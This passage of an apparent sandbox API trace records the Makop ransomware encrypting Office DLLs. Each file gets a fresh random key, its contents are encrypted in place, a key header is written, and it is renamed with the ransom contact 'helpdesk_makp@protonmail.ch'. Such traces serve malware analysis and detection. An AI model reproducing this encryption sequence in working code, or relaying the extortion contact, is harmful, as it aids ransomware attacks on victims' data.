controller\\word.en-us\\wordmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.545] CloseHandle (hObject=0x114) returned 1 [0093.545] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0093.545] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.546] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0093.546] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0093.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0093.546] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0093.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.548] GetProcessHeap () returned 0x48a0000 [0093.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.549] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.549] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.549] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.549] GetProcessHeap () returned 0x48a0000 [0093.549] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.549] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0093.549] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.549] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0093.581] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.581] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.581] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.582] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.582] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.582] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.582] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2560, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2560, lpOverlapped=0x0) returned 1 [0093.584] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2560, dwBufLen=0x2560 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2560) returned 1 [0093.584] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.584] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2560, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2560, lpOverlapped=0x0) returned 1 [0093.585] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.585] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.585] SetEndOfFile (hFile=0xf0) returned 1 [0093.591] GetProcessHeap () returned 0x48a0000 [0093.591] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.591] GetProcessHeap () returned 0x48a0000 [0093.591] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.591] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0093.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.593] CloseHandle (hObject=0xf0) returned 1 [0093.593] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0093.593] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0093.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.594] GetProcessHeap () returned 0x48a0000 [0093.594] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.594] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.600] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.600] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.600] GetProcessHeap () returned 0x48a0000 [0093.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.600] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0093.600] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.600] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0093.600] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.600] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.601] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.602] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.602] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4d88, lpOverlapped=0x0) returned 1 [0093.606] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d90, dwBufLen=0x4d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d90) returned 1 [0093.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.607] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4d90, lpOverlapped=0x0) returned 1 [0093.607] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.607] SetEndOfFile (hFile=0xf0) returned 1 [0093.614] GetProcessHeap () returned 0x48a0000 [0093.614] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.615] GetProcessHeap () returned 0x48a0000 [0093.615] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.615] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0093.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.616] CloseHandle (hObject=0xf0) returned 1 [0093.617] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0093.617] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0093.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.622] GetProcessHeap () returned 0x48a0000 [0093.622] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.622] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.623] GetProcessHeap () returned 0x48a0000 [0093.623] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.623] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0093.623] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.623] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0093.627] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.627] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.627] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.628] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.629] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x47a0, lpOverlapped=0x0) returned 1 [0093.630] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47a0, dwBufLen=0x47a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47a0) returned 1 [0093.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x47a0, lpOverlapped=0x0) returned 1 [0093.631] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.631] SetEndOfFile (hFile=0xf0) returned 1 [0093.638] GetProcessHeap () returned 0x48a0000 [0093.638] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.638] GetProcessHeap () returned 0x48a0000 [0093.638] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.638] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0093.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.640] CloseHandle (hObject=0xf0) returned 1 [0093.640] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0093.640] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0093.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.643] GetProcessHeap () returned 0x48a0000 [0093.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.643] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.643] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.648] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.648] GetProcessHeap () returned 0x48a0000 [0093.648] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.648] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0093.648] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0093.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.649] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.649] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb7ba8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb7ba8, lpOverlapped=0x0) returned 1 [0093.668] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb7bb0, dwBufLen=0xb7bb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb7bb0) returned 1 [0093.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 